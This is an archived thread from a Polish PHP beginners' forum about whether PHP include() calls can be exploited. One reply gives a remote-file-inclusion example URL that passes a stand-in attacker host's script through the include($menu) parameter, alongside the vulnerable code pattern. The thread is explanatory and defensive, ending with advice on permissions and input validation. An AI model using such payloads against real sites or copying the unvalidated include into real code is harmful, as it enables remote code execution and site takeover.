Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: include()
Forum PHP.pl > Forum > Przedszkole
gladiror
Witam!
Mam pytanie dotyczące funkcji include. Załuszmy, że mam plik index.php. W nim jest następujący skrypt:
  1. <?
  2. include(&#092;"menu.html\");
  3. ?>

Plik menu.html zawiera kod html. Czy w tej sytuacji istnieje jakaś możliwość włamania się/ zmieny zawartości pliku lub coś w tym stylu?

Piszę ten temat, bo jak próbowałem dowiedzieć się z poprzednich postów to nikt nie chciał już później mi dokładnie odpowiedzieć w związku z tym pytaniem...
revyag
Zmienić zawartość pliku mógłby tylko ktoś kto ma do niego fizyczny dostęp, np. shella na serwerze. To czy poprawnie będzie wszystko wyświetlone zależy od tego jak masz zorganizowane includowanie np. czy przekazujesz urlem jakieś parametry dotyczące pliku.
gladiror
A jeżeli istnieje podobna sytuacja tylko, że:

  1. <?
  2. include($menu);
  3. ?>


Tutaj istnieje jakieś zagrożenie?
revyag
No to zobacz:
Kod
http://www.stwoja_strona.pl/index.php?menu=http://haker/skrypt_ktocy_cos_psuje.php

snitch.gif
gladiror
ALe nawet jak bedzie skrypt na innym serwerze to np. istnieje mozliwość, że w tym skrypcie napisze funkcje która zmieni zawartośc pliku gdy wszystkie pliki są tylko do odczytu? Do tego chyba służy funkcja chmod()... O to w tym wszystkim chodzi??

A co sie stanie gdy globalne zmienne bedą na off? Też istnieje takie zagrożenie?
revyag
Sam sobie odpowiadasz snitch.gif
Kwestia ustawienia odpowiednich praw dostępu do podstawa. Kolejna sprawa to walidacja zmiennych get i post.
Inaczej świeżo upieczony "chacher " ze skryptem ściągniętym z sieci może Ci rozwalić stronę snitch.gif
gladiror
Ale żeby mógł mi rozwalić stronę to musi znać nazwę zmiennej...
Jeżeli np. walne $jklasdjkladkasjdklahghghhghg to raczej trudno będzie mu trafić na taką zmienną... Chyba że istnieje jakaś możliwość podejrzenia zmiennych w skrypcie?

Sorry, ze zapytuje, ale nie rozumiem "walidacja zmiennych get i post". To jest za fachowe słownictwo jak dla mnie... Mógłbyś to rozwinąć?
revyag
Z tą zmienną to chodziło mi to sytuację kiedy jej wartość jest przekazywana przez url.
I właśnie tutaj trzeba sprawdzać czy przez url jest przekazywane to co byśmy chcieli, czy np. zamiast zmiennych typu int nie jest przekazywany string itd.
To samo tyczy się danych pobieranych z formularza.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.